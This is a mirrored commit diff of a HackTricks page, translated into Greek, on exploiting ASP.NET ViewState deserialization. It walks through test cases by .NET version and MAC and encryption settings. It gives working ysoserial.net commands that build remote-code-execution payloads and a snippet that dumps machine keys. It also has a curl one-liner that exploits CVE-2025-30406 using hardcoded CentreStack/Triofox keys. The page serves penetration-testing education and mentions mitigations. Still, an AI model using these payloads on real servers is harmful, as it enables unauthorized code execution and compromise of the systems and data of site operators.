mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
		
							parent
							
								
									f7b02e4e43
								
							
						
					
					
						commit
						c62022b622
					
				@ -6,12 +6,12 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## Τι είναι το ViewState
 | 
					## Τι είναι το ViewState
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**ViewState** λειτουργεί ως η προεπιλεγμένη μηχανισμός στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας επαναφοράς (postback) σειριοποιούνται σε συμβολοσειρές κωδικοποιημένες σε base64. Αυτές οι συμβολοσειρές τοποθετούνται σε κρυφά πεδία ViewState.
 | 
					**ViewState** χρησιμεύει ως η προεπιλεγμένη μηχανισμός στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας επαναφοράς (postback) σειριοποιούνται σε συμβολοσειρές κωδικοποιημένες σε base64. Αυτές οι συμβολοσειρές τοποθετούνται σε κρυφά πεδία ViewState.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Οι πληροφορίες του ViewState μπορούν να χαρακτηριστούν από τις εξής ιδιότητες ή τους συνδυασμούς τους:
 | 
					Οι πληροφορίες του ViewState μπορούν να χαρακτηριστούν από τις εξής ιδιότητες ή τους συνδυασμούς τους:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- **Base64**:
 | 
					- **Base64**:
 | 
				
			||||||
- Αυτός ο μορφή χρησιμοποιείται όταν και οι δύο ιδιότητες `EnableViewStateMac` και `ViewStateEncryptionMode` είναι ρυθμισμένες σε false.
 | 
					- Αυτός ο μορφότυπος χρησιμοποιείται όταν και οι δύο ιδιότητες `EnableViewStateMac` και `ViewStateEncryptionMode` είναι ρυθμισμένες σε false.
 | 
				
			||||||
- **Base64 + MAC (Κωδικός Αυθεντικοποίησης Μηνύματος) Ενεργοποιημένος**:
 | 
					- **Base64 + MAC (Κωδικός Αυθεντικοποίησης Μηνύματος) Ενεργοποιημένος**:
 | 
				
			||||||
- Η ενεργοποίηση του MAC επιτυγχάνεται ρυθμίζοντας την ιδιότητα `EnableViewStateMac` σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα του ViewState.
 | 
					- Η ενεργοποίηση του MAC επιτυγχάνεται ρυθμίζοντας την ιδιότητα `EnableViewStateMac` σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα του ViewState.
 | 
				
			||||||
- **Base64 + Κρυπτογραφημένος**:
 | 
					- **Base64 + Κρυπτογραφημένος**:
 | 
				
			||||||
@ -19,9 +19,9 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## Δοκιμαστικές Περιπτώσεις
 | 
					## Δοκιμαστικές Περιπτώσεις
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Η εικόνα είναι ένας πίνακας που περιγράφει διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια περίληψη του περιεχομένου:
 | 
					Η εικόνα είναι ένας πίνακας που λεπτομερεί διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια σύνοψη του περιεχομένου:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
1. Για **οποιαδήποτε έκδοση του .NET**, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένες, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσουμε.
 | 
					1. Για **οποιαδήποτε έκδοση του .NET**, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένοι, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσουμε.
 | 
				
			||||||
2. Για **εκδόσεις κάτω από 4.5**, εάν ο MAC είναι ενεργοποιημένος αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r."
 | 
					2. Για **εκδόσεις κάτω από 4.5**, εάν ο MAC είναι ενεργοποιημένος αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r."
 | 
				
			||||||
3. Για **εκδόσεις κάτω από 4.5**, ανεξαρτήτως αν ο MAC είναι ενεργοποιημένος ή απενεργοποιημένος, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο για το "Blacklist3r - Future Development."
 | 
					3. Για **εκδόσεις κάτω από 4.5**, ανεξαρτήτως αν ο MAC είναι ενεργοποιημένος ή απενεργοποιημένος, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο για το "Blacklist3r - Future Development."
 | 
				
			||||||
4. Για **εκδόσεις 4.5 και άνω**, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε ο ένας είναι true και ο άλλος false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας το "Blacklist3r."
 | 
					4. Για **εκδόσεις 4.5 και άνω**, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε ο ένας είναι true και ο άλλος false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας το "Blacklist3r."
 | 
				
			||||||
@ -41,7 +41,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
 | 
				
			|||||||
### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
 | 
					### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Οι προγραμματιστές μπορούν να **αφαιρέσουν το ViewState** από το να γίνει μέρος ενός HTTP Request (ο χρήστης δεν θα λάβει αυτό το cookie).\
 | 
					Οι προγραμματιστές μπορούν να **αφαιρέσουν το ViewState** από το να γίνει μέρος ενός HTTP Request (ο χρήστης δεν θα λάβει αυτό το cookie).\
 | 
				
			||||||
Κάποιος μπορεί να υποθέσει ότι αν το **ViewState** είναι **μη παρόν**, η υλοποίησή τους είναι **ασφαλής** από οποιεσδήποτε πιθανές ευπάθειες που προκύπτουν από την αποσυμπίεση του ViewState.\
 | 
					Κάποιος μπορεί να υποθέσει ότι αν το **ViewState** είναι **μη παρόν**, η υλοποίησή τους είναι **ασφαλής** από οποιαδήποτε πιθανή ευπάθεια που προκύπτει με την αποσυμπίεση του ViewState.\
 | 
				
			||||||
Ωστόσο, αυτό δεν ισχύει. Αν **προσθέσουμε την παράμετρο ViewState** στο σώμα του αιτήματος και στείλουμε το σειριασμένο payload μας που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα μπορέσουμε ακόμα να επιτύχουμε **εκτέλεση κώδικα** όπως φαίνεται στην **Περίπτωση 1**.
 | 
					Ωστόσο, αυτό δεν ισχύει. Αν **προσθέσουμε την παράμετρο ViewState** στο σώμα του αιτήματος και στείλουμε το σειριασμένο payload μας που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα μπορέσουμε ακόμα να επιτύχουμε **εκτέλεση κώδικα** όπως φαίνεται στην **Περίπτωση 1**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
 | 
					### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
 | 
				
			||||||
@ -155,18 +155,18 @@ ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe In
 | 
				
			|||||||
 | 
					
 | 
				
			||||||

 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Μια επιτυχής εκμετάλλευση της ευπάθειας αποσυμπίεσης ViewState θα οδηγήσει σε ένα αίτημα εκτός ζώνης σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο, το οποίο περιλαμβάνει το όνομα χρήστη. Αυτός ο τύπος εκμετάλλευσης αποδεικνύεται σε μια απόδειξη έννοιας (PoC) που μπορεί να βρεθεί μέσω ενός πόρου με τίτλο "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Για περισσότερες λεπτομέρειες σχετικά με το πώς λειτουργεί η διαδικασία εκμετάλλευσης και πώς να χρησιμοποιήσετε εργαλεία όπως το Blacklist3r για να εντοπίσετε το MachineKey, μπορείτε να αναθεωρήσετε την παρεχόμενη [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
 | 
					Μια επιτυχής εκμετάλλευση της ευπάθειας αποσυμπίεσης του ViewState θα οδηγήσει σε ένα out-of-band αίτημα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο, το οποίο περιλαμβάνει το όνομα χρήστη. Αυτός ο τύπος εκμετάλλευσης αποδεικνύεται σε μια απόδειξη της έννοιας (PoC) που μπορεί να βρεθεί μέσω ενός πόρου με τίτλο "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Για περισσότερες λεπτομέρειες σχετικά με το πώς λειτουργεί η διαδικασία εκμετάλλευσης και πώς να χρησιμοποιήσετε εργαλεία όπως το Blacklist3r για να εντοπίσετε το MachineKey, μπορείτε να αναθεωρήσετε την παρεχόμενη [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Test Case 6 – Χρησιμοποιείται το ViewStateUserKeys
 | 
					### Test Case 6 – Χρησιμοποιείται το ViewStateUserKeys
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Η ιδιότητα **ViewStateUserKey** μπορεί να χρησιμοποιηθεί για να **αμυνθεί** κατά ενός **CSRF attack**. Αν μια τέτοια κλειδί έχει οριστεί στην εφαρμογή και προσπαθήσουμε να δημιουργήσουμε το **ViewState** payload με τις μεθόδους που συζητήθηκαν μέχρι τώρα, το **payload δεν θα επεξεργαστεί από την εφαρμογή**.\
 | 
					Η ιδιότητα **ViewStateUserKey** μπορεί να χρησιμοποιηθεί για να **αμυνθεί** ενάντια σε μια **επίθεση CSRF**. Αν μια τέτοια κλειδί έχει οριστεί στην εφαρμογή και προσπαθήσουμε να δημιουργήσουμε το **ViewState** payload με τις μεθόδους που έχουν συζητηθεί μέχρι τώρα, το **payload δεν θα επεξεργαστεί από την εφαρμογή**.\
 | 
				
			||||||
Πρέπει να χρησιμοποιήσετε μία ακόμη παράμετρο για να δημιουργήσετε σωστά το payload:
 | 
					Πρέπει να χρησιμοποιήσετε μία ακόμη παράμετρο για να δημιουργήσετε σωστά το payload:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
--viewstateuserkey="randomstringdefinedintheserver"
 | 
					--viewstateuserkey="randomstringdefinedintheserver"
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### Αποτέλεσμα Μιας Επιτυχούς Εκμετάλλευσης <a href="#poc" id="poc"></a>
 | 
					### Αποτέλεσμα Μιας Επιτυχούς Εκμετάλλευσης <a href="#poc" id="poc"></a>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Για όλες τις περιπτώσεις δοκιμών, αν το payload YSoSerial.Net του ViewState λειτουργεί **επιτυχώς**, τότε ο διακομιστής απαντά με “**500 Internal server error**” έχοντας περιεχόμενο απάντησης “**Οι πληροφορίες κατάστασης είναι μη έγκυρες για αυτή τη σελίδα και μπορεί να είναι κατεστραμμένες**” και λαμβάνουμε το OOB request.
 | 
					Για όλες τις περιπτώσεις δοκιμών, αν το payload YSoSerial.Net του ViewState λειτουργεί **επιτυχώς**, τότε ο διακομιστής απαντά με “**500 Internal server error**” έχοντας περιεχόμενο απάντησης “**Η πληροφορία κατάστασης είναι μη έγκυρη για αυτή τη σελίδα και μπορεί να έχει διαφθαρεί**” και λαμβάνουμε το OOB request.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Ελέγξτε για [περισσότερες πληροφορίες εδώ](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
 | 
					Ελέγξτε για [περισσότερες πληροφορίες εδώ](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -189,7 +189,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
 | 
				
			|||||||
}
 | 
					}
 | 
				
			||||||
</script>
 | 
					</script>
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Η αίτηση της σελίδας εκτυπώνει το **ValidationKey**, **DecryptionKey**, τον αλγόριθμο κρυπτογράφησης και τη λειτουργία συμβατότητας ASP.NET. Αυτές οι τιμές μπορούν τώρα να τροφοδοτηθούν απευθείας στο **ysoserial.net** για να δημιουργηθεί ένα έγκυρο, υπογεγραμμένο gadget `__VIEWSTATE`:
 | 
					Η αίτηση της σελίδας εκτυπώνει το **ValidationKey**, **DecryptionKey**, τον αλγόριθμο κρυπτογράφησης και τη λειτουργία συμβατότητας ASP.NET. Αυτές οι τιμές μπορούν τώρα να τροφοδοτηθούν απευθείας στο **ysoserial.net** για να δημιουργήσουν ένα έγκυρο, υπογεγραμμένο gadget `__VIEWSTATE`:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
 | 
					ysoserial.exe -p ViewState -g TypeConfuseDelegate \
 | 
				
			||||||
-c "powershell -nop -c \"whoami\"" \
 | 
					-c "powershell -nop -c \"whoami\"" \
 | 
				
			||||||
@ -199,14 +199,54 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
 | 
				
			|||||||
--islegacy --minify
 | 
					--islegacy --minify
 | 
				
			||||||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
 | 
					curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Αυτή η **πρωτογενής εξαγωγή κλειδιών** εκμεταλλεύτηκε μαζικά τους τοπικούς διακομιστές SharePoint το 2025 ("ToolShell" – CVE-2025-53770/53771), αλλά είναι εφαρμόσιμη σε οποιαδήποτε εφαρμογή ASP.NET όπου ένας επιτιθέμενος μπορεί να εκτελέσει κώδικα στον διακομιστή.
 | 
					Αυτή η **πρωτογενής εξαγωγή κλειδιών** εκμεταλλεύτηκε μαζικά σε τοπικούς διακομιστές SharePoint το 2025 ("ToolShell" – CVE-2025-53770/53771), αλλά είναι εφαρμόσιμη σε οποιαδήποτε εφαρμογή ASP.NET όπου ένας επιτιθέμενος μπορεί να εκτελέσει κώδικα στον διακομιστή.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Σενάρια Πραγματικής Εκμετάλλευσης 2024-2025 και Σκληρά Κωδικοποιημένα Κλειδιά Μηχανής
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Κύμα “δημόσια αποκαλυφθέντων κλειδιών μηχανής” της Microsoft (Δεκ 2024 – Φεβ 2025)
 | 
				
			||||||
 | 
					Η Microsoft Threat Intelligence ανέφερε μαζική εκμετάλλευση ιστότοπων ASP.NET όπου το *machineKey* είχε προηγουμένως διαρρεύσει σε δημόσιες πηγές (GitHub gists, αναρτήσεις ιστολογίων, ιστότοποι paste). Οι αντίπαλοι απαρίθμησαν αυτά τα κλειδιά και δημιούργησαν έγκυρα `__VIEWSTATE` gadgets με τις νεότερες σημαίες `ysoserial.net` 1.41 `--minify` και `--islegacy` για να παρακάμψουν τα όρια μήκους WAF:
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
 | 
				
			||||||
 | 
					--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
 | 
				
			||||||
 | 
					--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
 | 
				
			||||||
 | 
					--generator=<VIEWSTATEGEN> --minify
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Η περιστροφή στατικών κλειδιών ή η αλλαγή σε *AutoGenerate* κλειδιά στο Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) μετριάζει αυτή την κατηγορία επιθέσεων. {{#ref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					{{#endref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### CVE-2025-30406 – Gladinet CentreStack / Triofox σκληρά κωδικοποιημένα κλειδιά
 | 
				
			||||||
 | 
					Η Kudelski Security αποκάλυψε ότι πολλές εκδόσεις του CentreStack / Triofox παρέχονταν με ταυτόσημες τιμές `machineKey`, επιτρέποντας μη αυθεντικοποιημένη απομακρυσμένη εκτέλεση κώδικα μέσω πλαστογράφησης ViewState (CVE-2025-30406).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					One-liner exploit:
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
 | 
				
			||||||
 | 
					--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
 | 
				
			||||||
 | 
					--validationalg=SHA1 \
 | 
				
			||||||
 | 
					--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
 | 
				
			||||||
 | 
					--decryptionalg=AES --generator=24D41AAB --minify \
 | 
				
			||||||
 | 
					| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – αναβαθμίστε ή αντικαταστήστε τα κλειδιά άμεσα. {{#ref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					{{#endref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Αναφορές
 | 
					## Αναφορές
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
 | 
				
			||||||
 | 
					- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
 | 
				
			||||||
 | 
					- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
 | 
				
			||||||
 | 
					- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
 | 
				
			||||||
 | 
					- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
 | 
				
			||||||
 | 
					- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
 | 
				
			||||||
 | 
					- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
 | 
				
			||||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
 | 
					- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
 | 
				
			||||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
 | 
					- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
 | 
				
			||||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
 | 
					- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
 | 
				
			||||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
 | 
					- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
 | 
				
			||||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
 | 
					- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user